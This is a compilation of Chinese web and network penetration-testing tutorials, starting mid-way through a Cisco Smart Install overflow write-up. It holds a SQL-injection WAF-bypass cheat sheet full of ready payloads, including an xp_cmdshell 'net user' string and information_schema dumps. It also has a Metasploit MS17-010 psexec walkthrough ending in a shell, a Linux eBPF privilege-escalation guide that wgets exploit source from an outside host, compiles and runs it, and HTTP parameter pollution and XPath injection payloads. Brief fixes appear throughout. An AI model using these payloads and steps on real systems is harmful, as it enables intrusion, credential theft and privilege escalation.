= 0x032D12B4 R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014 R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF R12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8 R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128 R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8 R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242 R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242 Stack trace: PC = 0x42424240, SP = 0x02B1B0B0 Frame 00: SP = 0x42424242 PC = 0x42424242 0x06 漏洞修复 #conf t Enter configuration commands, one per line. End with CNTL/Z. NSJ-131-6-16-C2960_7(config)#no vstack NSJ-131-6-16-C2960_7(config)#exit 关键的就是这句 no vstack 再看，端口已经关掉了。 #show tcp brief all TCB Local Address Foreign Address (state) 075A0088 *.443 *.* LISTEN 0759F6C8 *.443 *.* LISTEN 0759ED08 *.80 *.* LISTEN 0759E348 *.80 *.* LISTEN 0x06 漏洞危害 可能会导致攻击者在受影响的设备上导致缓冲区溢出，这可能会产生如下影响： 触发设备的重新加载 允许攻击者在设备上执行任意代码 在受影响的设备上引发无限循环重启，是设备崩溃 0x07 漏洞修复 #conf t Enter configuration commands, one per line. End with CNTL/Z. NSJ-131-6-16-C2960_7(config)#no vstack NSJ-131-6-16-C2960_7(config)#exit 关键的就是这句 no vstack 再看，端口已经关掉了。 #show tcp brief all TCB Local Address Foreign Address (state) 075A0088 *.443 *.* LISTEN 0759F6C8 *.443 *.* LISTEN 0759ED08 *.80 *.* LISTEN 0759E348 *.80 *.* LISTEN 0x08 参考文献 https://embedi.com/blog/cisco-smart-install-remote-code-execution/ https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2 https://www.anquanke.com/post/id/103122 https://mp.weixin.qq.com/s/cMYUuGFmox5PK89fO_eR8w https://www.youtube.com/watch?v=CE7KNK6UJuk&feature=youtu.be&t=99 https://www.youtube.com/watch?v=TSg5EZVudNU&feature=youtu.be

SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容，而常规防火墙则充当服务器之间的防御门。通过检查HTTP的流量，它可以防御Web应用安全漏洞，如阻止来自 SQL注入、 跨站点脚本 （XSS）、 文件包含和安全配置错误。 0x02 WAF工作原理 § 检测异常协议：拒绝不符合HTTP标准的请求 § 增强型的输入验证：代理和服务器端验证，而不仅仅是客户端验证 § 白名单和黑名单 § 基于规则和异常的保护：基于规则的更多是基于黑色的机制和更灵活的异常 § 状态管理：防御会话保护(Cookie保护，反入侵规避技术，响应监控和信息披露保护)。 0x03 绕过WAF 1.混合的CaseChange恶意输入会触发WAF保护，如果WAF使用区分大小写的黑名单，则更改大小写可能会绕过该过滤器。 http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4 2.替换关键字（插入将被WAF删除的特殊字符）---SELECT可能变为SEL <ECT，一旦删除特殊字符，它将用SELECT执行 http://target.com/index.php?page_id=-15&nbsp;UNIunionON SELselectECT 1,2,3,4 3.编码 page.php?id=1%252f%252a*/UNION%252f%252a /SELECT 十六进制编码： target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) Unicode 编码: ?id=10%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1 4.在攻击字符串中使用注释-----插入注释。例如/ *！SELECT * /可能会被WAF忽略，但传递给目标应用程序是由mysql数据库处理。 index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 'union%a0select pass from users# index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4… 5.等效函数和命令----由于检测到关键字，因此无法使用某些函数或命令，但在很多情况下，我们可以使用它们的等效或类似代码。 hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1 mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir() 5.特殊符号-----特殊符号具有特殊的含义和用法 + ` symbol: select `version()`; + +- :select+id-1+1.from users; + @:select@^1.from users; +Mysql function() as xxx +`、~、!、@、%、()、[]、.、-、+ 、|、%00 Example: 'se’+’lec’+’t’ %S%E%L%E%C%T 1 1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’) ' or --+2=- -!!!'2 id=1+(UnI)(oN)+(SeL)(EcT) 7.HTTP参数污染------提供多个parameter= value的值集来混淆绕过WAF。鉴于 http://example.com?id=1&?id=' 或'1'='1' - '在某些情况下（例如使用Apache / PHP），应用程序将仅解析最后一个（第二个） id =， WAF只解析第一个id=。这似乎是一个合理的请求，但应用程序仍然接收并处理恶意输入。今天的大多数WAF都不容易受到HTTP参数污染（HPP）的影响，但仍然值得一试。 HPP（HTTP参数解析）： /?id=1;select+1,2,3+from+users+where+id=1— /?id=1;select+1&amp;id=2,3+from+users+where+id=1— /?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users HPP也被称为重复参数污染，最简单的是：uid = 1＆uid = 2＆uid = 3，对于这种情况，不同的Web服务器处理如下： HPF（HTTP参数分段）： 此方法是HTTP分段注入，与CRLF类似（使用控制字符％0a，％0d等执行换行符） /?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users-- HPC（HTTP参数污染）: RFC2396定义了以下字符： Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ &amp; = + $ , Unwise : { } | \ ^ [ ] ` 不同的Web服务器处理过程在构造特殊请求时有不同的逻辑： 对于魔术字符％，Asp / Asp.net将受到影响 8.缓冲区溢出---WAF始终是应用程序，容易受到与其他应用程序相同的软件缺陷的影响。如果出现缓冲区溢漏洞可能会导致WAF崩溃，即使它不会导致代码执行也可能会导致WAF正常运行。 ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 9. IntegrationIntegration意味着使用各种 bypass技术，单一技术可能无法绕过过滤机制，但使用各种技术混合可能性会增加很多。 target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e-- 参考链接：https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/ <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">

0x01 前言 MS17-010 的psexec是针对Microsoft Windows的两款最受欢迎的漏洞进行攻击。 CVE-2017-0146（EternalChampion / EternalSynergy） - 利用事务请求利用竞争条件 CVE-2017-0143（EternalRomance / EternalSynergy） - 利用WriteAndX和Transaction请求之间的类型混淆 与EternalBlue相比，此模块具有高可靠性和优先级，其中管道名可用于匿名登录（通常，Vista之前的所有内容以及野外域计算机相对常见）。 0x02 利用条件 为了能够使用exploit/windows/smb/ms17_010_psexec： 您可以任意使用有效的用户名和密码绕过这些大部门要求 1.防火墙必须允许SMB流量出入 2.目标必须使用SMBv1协议 3.目标必须缺少MS17-010补丁 4.目标必须允许匿名IPC $和管道名 您可以使用SMB MS17-010和Pipe Auditor辅助扫描模块检查所有这些。 0x03 选项 NAMEDPIPE选项 ----必选 默认情况下，模块将扫描任何可用管道的公共管道列表，您可以按名称指定一个管道名 LEAKATTEMPTS选项---可选 被用来确保漏洞的稳定性 DBGTRACE选项---可选，建议设置为1 用于调试，提供非常详细的信息 SMBUser选项---可选，需要在win10以上设置 一个有效的Windows用户名 SMBPass选项----可选，需要在win10以上设置 一个有限的windows密码 0x04 测试结果 1.首先利用scanner/smb/pipe_auditor模块扫描目标网段主机可用的管道名，其扫描出来的大多数为匿名的windows2003管道名,如需要扫描出更多的管道名，还需要提供可用的用户名和密码 2.可看到扫描出目标主机192.168.99.240的管道名 3.通过msf下的exploit/windows/smb/ms17_010_psexec模块进行进一步渗透（这里需要用msfupdate命令更新尽可，或者重新下载安装msf） 4.这里需要设置目标的主机IP地址以及端口和管道名 5.最终成功获取目标主机的shell:

0x01 前言 该漏洞由Google project zero发现。据悉，该漏洞存在于带有 eBPF bpf(2)系统（CONFIG_BPF_SYSCALL）编译支持的Linux内核中，是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞，此外恶意攻击者也可以使用该漏洞来进行本地提权操作。 0x02漏洞影响 Linux Kernel Version 4.14-4.4(影响Debian和Ubuntu发行版) 0x03 测试环境 ubuntu16.04 x64 0x04 测试步骤 1.提权exp下载地址： http://cyseclabs.com/exploits/upstream44.c 2.cd切换到/opt目录下并下载exp： cd /opt #前提看/opt是不是777权限，不然编译和执行不了exp wget http://cyseclabs.com/exploits/upstream44.c 3.有的ubuntu没有安装gcc需要执行安装： sudo apt-get install gcc 如果缺少一些编译组件，则需要安装lib插件 apt-get install libc6-dev 4.然后利用gcc进行编译 gcc -o exp upstream44.c 5.将exp进行更改为可执行权限 chmod +x exp 6.运行exp进行提权 ./exp 0x05 漏洞修复 目前暂未有明确的补丁升级方案。 临时建议用户在评估风险后，通过修改内核参数限制普通用户使用bpf(2)系统调用： echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

###HPP参数污染的定义 HTTP Parameter Pollution简称HPP，所以有的人也称之为“HPP参数污染”，HPP是一种注入型的漏洞，攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞，可以被攻击者利用来进行客户端或者服务器端的攻击。 ###HPP参数污染的原理 首先讲下HTTP的参数处理,在跟服务器进行交互的过程中，客户端往往会在GET/POST请求里面带上参数： POST /foo HTTP/1.1 User-Agent: Mozilla/5.0 Host: Host Accept: */* Content-Length: 19 POST /foo HTTP/1.1 User-Agent: Mozilla/5.0 Host: Host Accept: */* Content-Length: 19 如上面的例子所示，这些参数会以名称-值对的形势出现，通常在一个请求中，同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。大家可以在下面给出的W3School链接上试试看： http://www.w3schools.com/html/tryit.asp?filename=tryhtml_form_checkbox 但是针对同样名称的参数出现多次的情况，不同的服务器的处理方式会不一样，比如看下面的3个例子： http://www.google.com/search?q=italy&q=china(谷歌同时处理前后2个相同参数） http://search.yahoo.com/search?p=italy&p=china（雅虎处理后面的参数） https://www.baidu.com /search?p=italy&p=china(百度处理第一个参数） 如果同时提供2个搜索的关键字参数给Google，那么Google会对2个参数都进行查询；百度会处理第一参数的值，但是Yahoo则不一样，它只会处理后面一个参数。下面这个表简单列举了一些常见的Web服务器对同样名称的参数出现多次的处理方式： Web服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(“par”) last JSP/Tomcat Request.getParameter(“par”) First Perl(CGI)/Apache Param(“par”) First Python/Apache getvalue(“par”) All (List) ASP/IIS Request.QueryString(“par”) All (comma-delimited string) 假设这个URL：http://www.xxxx.com/search.php?id=110&id=911 百度会理解成让百度搜索：110 #选择了第一个参数,放弃了第二个参数。 雅虎会理解成让雅虎搜索：911　　 #选择了第二个参数,放弃了第一个参数。 谷歌会理解成让谷歌搜索：110 911 #两个参数同时选择。 主要的就是这三种情况了。这主要是源于,不同的网站对处理参数的处理方式不同。 ###HPP参数污染攻击方式 HTTP 参数污染，或者 HPP，在网站接受用户输入，将其用于生成发往其它系统的 HTTP 请求，并且不校验用户输出的时候发生。它以两种方式产生，通过服务器（后端）或者通过客户端 1.对客户端的攻击 比如有这样一个网站，用来给其他人在2个候选人之间投票，这个网站的URL和代码是这样的： Url : http://host/election.jsp?poll_id=4568 Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang">为张三投票</a> Link2: <a href="vote.jsp?poll_id=4568&candidate=li">为李四投票</a> 因为种种原因，这个页面里面用于投票的链接实现的方式如下：如果这时候恶意攻击者生成了如下的一个URL发给投票人： http_://host/election.jsp?poll_id=4568&candidate=zhang 那么最终在页面的内容会是： Url : http://host/election.jsp?poll_id=4568&candidate=zhang Link1: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=zhang">为张三投票</a> Link2: <a href="vote.jsp?poll_id=4568&candidate=zhang&candidate=li">为李四投票</a> 前面我们有知道对于JSP来说在有2个相同的名称的参数的时候，会取第一个值,所以不管投票人选择的是谁，始终都是张三得票。 一般来说，对客户端的攻击一般会是如下流程，导致用户选择不期望的选项： 2.对服务器端的攻击 比如某网站的实现如下： void private executeBackendRequest(HTTPRequest request){ String action=request.getParameter("action"); String user=request.getParameter("userid"); String target=request.getParameter("target"); HttpRequest("http://centralauthencationserver/checkpriviledge.jsp", "POST","action="+action+"&user="+user+"&target="+target);} /* get feedback of whether this user has privilege to perform specified action. If no such privilege, return error, otherwise continue perform the action*/ HttpRequest("http://businessserver/performaction.php", "POST","action="+action+"&user="+user+"&target="+target);} 它有个独立的集中认证服务器用来做用户权限方面的认证，另外的业务服务器专门用来处理业务，对外的门户实际上紧紧只是用来做请求的转发。那么看看一个本来紧紧只是具有只读权限的用户，如果发送如下请求给服务器： http://www.backlion.org/page?action=view&userid=zhangsan&target=bizreport&action=edit 那么根据我们知道的Web服务器参数处理的方式，这个用户可以通过认证做一些本来没有权限做的事情。 Web服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(“par”) Last JSP/Tomcat Request.getParameter(“par”) First ###HPP参数污染TIPS HPP还可以被攻击者用来绕过一些Web应用防火墙(WAF, WebApp Firewall)，HTTP参数污染注入源于网站对于提交的相同的参数的不同处理方式导致。 例如： www.backlion.org/a?key=ab&key=3 如果服务端返回输入key的值,可能会有 一： ab 二：3 三：ab3 这三种不同的方式。 具体服务端处理方式如下： Web服务器 参数获取函数 获取到的参数 PHP/Apache $_GET(“par”) Last JSP/Tomcat Request.getParameter(“par”) First Perl(CGI)/Apache Param(“par”) First Python/Apache getvalue(“par”) All (List) ASP/IIS Request.QueryString(“par”) All (comma-delimited string) 假设输入www.backlion.org/a?key=select&key=1,2,3,4 from table 服务端有可能会将key处理为select 1,2,3,4 from table，从而导致SQL注入 再比如对某页面的SQL注入攻击如下： show_user.aspx?id=5;select+1,2,3+from+users+where+id=1-- 这个攻击因为在参数id里面存在明显的SQL注入的模板：select…from…而会被WAF成功拦截。但是如果换成HPP的方式： show_user.aspx?id=5;select+1&id=2&id=3+from+users+where+id=1-- 这时候没有任何参数具备select…from…的特征，可能就可以绕过WAF的拦截了。 在PHP可用于以下绕过WAF: http://www.xishaonian.com/hello.php?id=select 1&id=2,3,4 from admin 该种情况还可用于Bypass WAF，当然还可以与XSS结合。 ###HPP参数污染案例 案例一： 2009年，ModSecurity过滤器会将类似于select1,2,3 from table这类的语句归类为黑名单。当web服务器遇到类似/index.aspx?page=select 1,2,3 from table这样的语句时，会阻断请求。但是这个web服务器在遇到为同一个参数赋值不同数值时，会将它们连接起来，攻击者可以通过这个方法来绕过黑名单。例如提交如下的URL： /index.aspx?page=select 1&page=2,3from table 首先，这不是黑名单中的模式，不会触发黑名单的拦截功能。其次，由于web程序会采取连接操作，即将&符号前后的内容连接，因此SQL注入行为能够被执行。 案例二： 这个案例是关于Apple Cups的，它是被许多UNIX系统利用的打印系统。利用如下的方式触发一个XSS攻击： http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos 利用这个方法可以绕过系统的验证机制，原因是这个验证系统只采纳了第二个kerberos的值，这个值为空，因此不会触发。而第一个kerberos直到被用于构建动态HTML内容前都没有被验证。最终在web站点的上下文中javascript语句被执行 案列三： 很多的付款链接，有可能存在漏洞；一方面，付款链接一般会有重要的参数构建的签名；这些签名是由某些重要的字段组成的，加了同名的字段以后；有可能在签名的时候验证了第一个付款金额参数；但是在实际付款的时候用了后面的一个付款金额参数，导致签名被绕了过去。 假设我们拥有以下站点：https://www.example.com/transferMoney.php，它可以通过 POST 方法访问，带有以下参数： amount=1000&fromAccount=12345 当应用处理请求时，它生成自己的发往其它后端系统的 POST 请求，这实际上会使用固定的toAccount参数来处理事务。 分离后端 URL：https://backend.example/doTransfer.php 分离后端参数：toAccount=9876&amount=1000&fromAccount=12345 现在，如果在提供了重复的参数时，后端仅仅接受最后一个参数，并且假设攻击者修改了发往网站的 POST 请求来提交toAccount参数，像这样： amount=1000&fromAccount=12345&toAccount=99999 存在 HPP 漏洞的站点就会将请求转发给另一个后端系统，像这样： toAccount=9876&amount=1000&fromAccount=12345&toAccount=99999（php处理最后1个参数值，即99999） 这里，由恶意用户提交的第二个toAccount参数，会覆盖后端请求，并将钱转账给恶意用户调教得账户（99999）而不是由系统设置的预期账户（9876）。 如果攻击者打算修改它们自己的请求，并且由漏洞系统处理，这非常实用。但是如果攻击者可以从另一个攒点生产链接，并且诱使用户无意中提交恶意请求，并带有由攻击者附加的额外参数，它也可以对攻击者更加实用一些。 案列四： 另一方面，HPP 客户端涉及到向链接和其它src属性注入额外的参数。在 OWASP 的一个例子中，假设我们拥有下列代码： <? $val=htmlspecialchars($_GET['par'],ENT_QUOTES); ?> <a href="/page.php?action=view&par='.<?=$val?>.'">View Me!</a> 它从 URL 接受par的值，确保它是安全的，并从中创建链接。现在，如果攻击者提交了： http://host/page.php?par=123&action=edit 产生的链接可能为： <a href="/page.php?action=view&par=123&action=edit">View Me!</a> 这会导致应用接受编辑操作而不是查看操作 ###HPP参数污染实列 1. HackerOne 社交分享按钮 报告连接： https://hackerone.com/blog/introducing-signal-and-impact 漏洞描述： HackerOne 包含的链接用于在知名社交媒体站点上分享内容，例如 Twitter，Fackbook，以及其他。这些社交媒体的链接包含用于社交媒体链接的特定参数。 攻击者可以将另一个 URL 参数追加到链接中，并诱惑受害者点击。HackerOne 将其包含在发向社交媒体站点的 POST 请求中的参数更改，从而导致漏洞的产生。漏洞报告中所用的示例是将 URL： https://hackerone.com/blog/introducing-signal 修改为： https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov 要注意额外的参数u，如果更改后面U参数的值诱惑受害者点击，尝试通过社交媒体链接分享内容，恶意链接就会变为： https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov 这里最后的参数u就会拥有比第一个参数更高的优先级，之后会用于 Fackbook 的发布。在 Twitter 上发布时，建议的默认文本也会改变： https://hackerone.com/blog/introducing-signal?&u=https://vk.com/durov&text=another_site:https://vk.com/durov 2. Twitter 取消订阅 报告连接： https://blog.mert.ninja/twitter-hpp-vulnerability/ 漏洞描述： 2015 年 8 月，黑客 Mert Tasci 在取消接收 Twitter 的小心时，注意到一个有趣的 URL： https://twitter.com/i/u?t=1&cn=bWV&sig=657&iid=F6542&uid=1134885524&nid=22+26 注意到参数 UID 可能是 Twitter 账户UID。现在要注意他做了认为多数黑客都会做的事情，尝试 UID 修改为其它用户， Twitter 返回了错误。考虑到其他方式可能已经放弃了，Mert 添加了第二个 UID 参数，所以 URL 看起来是这样： https://twitter.com/i/u?iid=F6542&uid=2321301342&uid=1134885524&nid=22+26然后就成功了。他设法取消订阅了其它用户的邮件提醒。这就说明，Twitter 存在 HPP 取消订阅的漏洞。 3. Twitter Web Intents 报告链接： https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents 漏洞描述： 根据档Twitter Web Intents提供了弹出优化的数据流用于处理 Tweets & Twitter 用户：发推、回复、转发、和关注。它使用户能够在你的站点上下文中和 Twitter 的内容进行交互，而不需要离开页面或者授权新的应用来交互。这里是它的一个示例： 再充分测试之后，黑客 Eric Rafaloff 发现全部四个 Intent 类型：关注用户、喜欢推文、转发和发推都存在 HPP漏洞。 如果 创建带有两个screen_name参数的 URL： https://twitter.com/intent/follow?screen_name=twitter&scnreen_name=erictest3 Twitter 会处理让第二个screen_name，它比第一个优先来处理这个请求。根据Web 表单类似这样： <form class="follow " id="follow_btn_form" action="/intent/follow?screen_name=er\ icrtest3" method="post"> <input type="hidden" name="authenticity_token" value="..."> <input type="hidden" name="screen_name" value="twitter"> <input type="hidden" name="profile_id" value="783214"> <button class="button" type="submit"> <b></b><strong>Follow</strong> </button> </form> 受害者会看到在一个screen_name中定义的用户资料twitter，但是点击按钮后，它们会关注erictest3。 与之类似，当展现 intent 用于喜欢时，Eric 发现它能够包含screen_name参数，虽然它和喜欢这个推文毫无关系，例如： https://twitter.com/intent/like?tweet_id=6616252302978211845&screen_name=erictest3 喜欢这个推文会向受害者展示正确的用户资料，但是点击“关注”之后，它仍然会关注erictest3。 ###漏洞防御 1.HPP是一种新的注入型漏洞。要防止这种漏洞，除了要做好对输入参数的格式验证外，另外还需要意识到HTTP协议是允许同名的参数的，在整个应用的处理过程中要意识到这一点从而根据业务的特征对这样的情况作正确的处理。 2.让WAF或其他网关设备（比如IPS）在检查URL时，对同一个参数被多次赋值的情况进行特殊处理。由于HTTP协议允许相同参数在URL中多次出现，因此这种特殊处理需要注意避免误杀的情况 3.在代码层面，编写WEB程序时，要通过合理的$_GET方法获取URL中的参数值，而尝试获取web服务器返回给程序的其他值时要慎重处理。

0x01 什么是xpath XPath 即为 XML 路径语言，是 W3C XSLT 标准的主要元素，它是一种用来确定 XML（标准通用标记语言的子集）文档中某部分位置的语言。 XPath 基于 XML 的树状结构，有不同类型的节点，包括元素节点，属性节点和文本节点，提供在数据结构树中找寻节点的能力，可用来在 XML 文档中对元素和属性进行遍历。 XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。 XPath是一种用来在内存中导航整个XML树的语言,它的设计初衷是作为一种面向XSLT和XPointer的语言,后来独立成了一种W3C标准. 0x02 XPath基础语法 (1)查询基本语句 //users/user[loginID/text()=’abc’ and password/text()=’test123’] 。 这是一个XPath查询语句，获取loginID为abc的所有user数据，用户需要提交正确的loginID和password才能返回结果。如果黑客在 loginID 字段中输入：' or 1=1 并在 password 中输入：' or 1=1 就能绕过校验，成功获取所有user数据 //users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1] (2)节点类型 在XPath中,XML文档被作为节点树对待,XPath中有七种结点类型：元素、属性、文本、命名空间、处理指令、注释以及文档节点（或成为根节点）。 文档的根节点即是文档结点；对应属性有属性结点，元素有元素结点。 element (元素) attribute (属性) text (文本) namespace (命名空间) processing-instruction (处理指令) comment (注释) root (根节点) 例如下面的XML文档, <?xml version="1.0" encoding="ISO-8859-1"?> <bookstore> <book> <title lang="en">Harry Potter</title> <author>J K. Rowling</author> <year>2005</year> <price>29.99</price> </book> </bookstore <bookstore>根节点 <author>J K. Rowling</author> 元素节点 lang="en"属性节点 (3)表达式 XPath通过路径表达式(Path Expression)来选取节点,基本规则: 表达式 描述 nodename 选取此节点的所有子节点 / 从根节点选取 // 从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置 . 选取当前节点 .. 选取当前节点的父节点 @ 选取属性或　@*：匹配任何属性节点 * 匹配任何元素节点 来看一个XML实例, <?xml version="1.0" encoding="ISO-8859-1"?> <bookstore> <book> <title lang="eng">Harry Potter</title> <price>29.99</price> </book> <book> <title lang="eng">Learning XML</title> <price>39.95</price> </book> </bookstore> 则： 路径表达式 结果 表达式 结果 bookstore 选取 bookstore 元素的所有子节点 /bookstore 选取根元素 bookstore bookstore/book 选取属于 bookstore 的子元素的所有 book 元素 //book 选取所有 book 子元素,而不管它们在文档中的位置 bookstore//book 选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置 //@lang 选取名为 lang 的所有属性 (4)限定语 限定语是对路径表达式的附加条件,用来查找某个特定的节点或者包含某个指定的值的节点.限定语被嵌在方括号中. 路径表达式结果： 表达式 结果 /bookstore/book[1] 选取属于 bookstore 子元素的第一个 book 元素 /bookstore/book[last()] 选取属于 bookstore 子元素的最后一个 book 元素 //title[@lang] 选取所有拥有名为 lang 的属性的 title 元素 //title[@lang=’eng’] 选取所有 title 元素，且这些元素拥有值为 eng 的 lang 属性 /bookstore/book[price>35.00]/title 选取 bookstore 元素中的 book 元素的所有 title 元素， 且其中的 price 元素的值须大于 35.00 (5)通配符 XPath 通配符可用来选取未知的 XML 元素. 通配符 描述 * 匹配任何元素节点 @* 匹配任何属性节点 node() 匹配任何类型的节点 实例, 表达式 结果 /bookstore/* 选取 bookstore 元素的所有子元素 //* 选取文档中的所有元素 //title[@*] 选取所有带有属性的 title 元素 (6) 选取多个路径 可以在路径表达式中使用”|”运算符来选取若干路径. 实例, 表达式 结果 //book/title \ //book/price 选取 book 元素的所有 title 和 price 元素 bookstore/book/title \ //price 选取属于 bookstore 元素的 book 元素的所有 title 元素，以及文档中所有的 price 元素 (7) 运算符 路径表达式中可以使用一些常见的数学运算符和逻辑运算符, (8) 函数 名称 结果 ancestor 选取当前节点的所有先辈（父、祖父等） ancestor-or-self 选取当前节点的所有先辈（父、祖父等）以及当前节点本身 attribute 选取当前节点的所有属性 child 选取当前节点的所有子元素。 descendant 选取当前节点的所有后代元素（子、孙等）。 descendant-or-self 选取当前节点的所有后代元素（子、孙等）以及当前节点本身。 following 选取文档中当前节点的结束标签之后的所有节点。 namespace 选取当前节点的所有命名空间节点 parent 选取当前节点的父节点。 preceding 选取文档中当前节点的开始标签之前的所有节点。 preceding-sibling 选取当前节点之前的所有同级节点。 self 选取当前节点。 路径表达式可以是绝对路径，也可以是相对路径。例如： 绝对位置路径： /step/step/... 相对位置路径： step/step/... 其中的每一步又可以是一个表达式，包括： 轴（函数）（axis） 定义所选节点与当前节点之间的树关系 节点测试（node-test） 识别某个轴内部的节点 零个或者更多谓语（predicate） 更深入地提炼所选的节点集 例如： 例子 结果 child::book 选取所有属于当前节点的子元素的 book 节点 attribute::lang 选取当前节点的 lang 属性 child::* 选取当前节点的所有子元素 attribute::* 选取当前节点的所有属性 child::text() 选取当前节点的所有文本子节点 child::node() 选取当前节点的所有子节点 descendant::book 选取当前节点的所有 book 后代 ancestor::book 选择当前节点的所有 book 先辈 ancestor-or-self::book 选取当前节点的所有book先辈以及当前节点（假如此节点是book节点的话） child::*/child::price 选取当前节点的所有 price 孙。 0x03 XPath注入的定义 XPath注入攻击，是指利用XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法，它允许攻击者在事先不知道XPath查询相关知 识的情况下，通过XPath查询得到一个XML文档的完整内容。Xpath注入攻击本质上和SQL注入攻击是类似的，都是输入一些恶意的查询等代码字符串，从而对网站进行攻击。 0x04 xpath注入描述 XPath注入攻击是指利用XPath 解析器的松散输入和容错特性，能够在 URL、表单或其它信息上附带恶意的XPath 查询代码，以获得权限信息的访问权并更改这些信息。XPath注入发生在当站点使用用户输入的信息来构造请求以获取XML数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的XML是如何构造的，从而进一步获取正常途径下无法获取的数据。当XML数据被用作账户验证时，攻击者还可以提升他的权限。 0x05 xpath注入原理 　xpath注入的原理其实和sql注入很像， XPath注入攻击主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web 应用程序，通过执行XPath查询而执行入侵者想要的操作，但是，注入的对象不是数据库users表了，而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构，或者访问在正常情况下不允许访问的数据，如果 XML 数据被用于用户认证，那么攻击者就可以提升他的权限。因为xpath不存在访问控制，所以我们不会遇到许多在SQL注入中经常遇到的访问限制。XML 中没有访问控制或者用户认证，如果用户有权限使用 XPath 查询，并且之间没有防御系统或者查询语句没有被防御系统过滤，那么用户就能够访问整个 XML 文档。 注入出现的位置也就是cookie，headers，request parameters/input等。下面以登录验证中的模块为例，说明 XPath注入攻击的实现原理。 在Web 应用程序的登录验证程序中，一般有用户名（username）和密码（password） 两个参数，程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中，其原理是通过查找user表中的用户名 （username）和密码（password）的结果来进行授权访问， 例存在user.xml文件如下： <users> <user> <firstname>Ben</firstname> <lastname>Elmore</lastname> <loginID>abc</loginID> <password>test123</password> </user> <user> <firstname>Shlomy</firstname> <lastname>Gantz</lastname> <loginID>xyz</loginID> <password>123test</password> </user> 则在XPath中其典型的查询语句如下： //users/user[loginID/text()='xyz'and password/text()='123test'] 但是，可以采用如下的方法实施注入攻击，绕过身份验证。如果用 户传入一个 login 和 password，例如 loginID = 'xyz' 和 password = '123test'，则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值，那么该查询语句也会得到 true 返回值，因为 XPath 查询语句最终会变成如下代码： //users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''=''] 这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 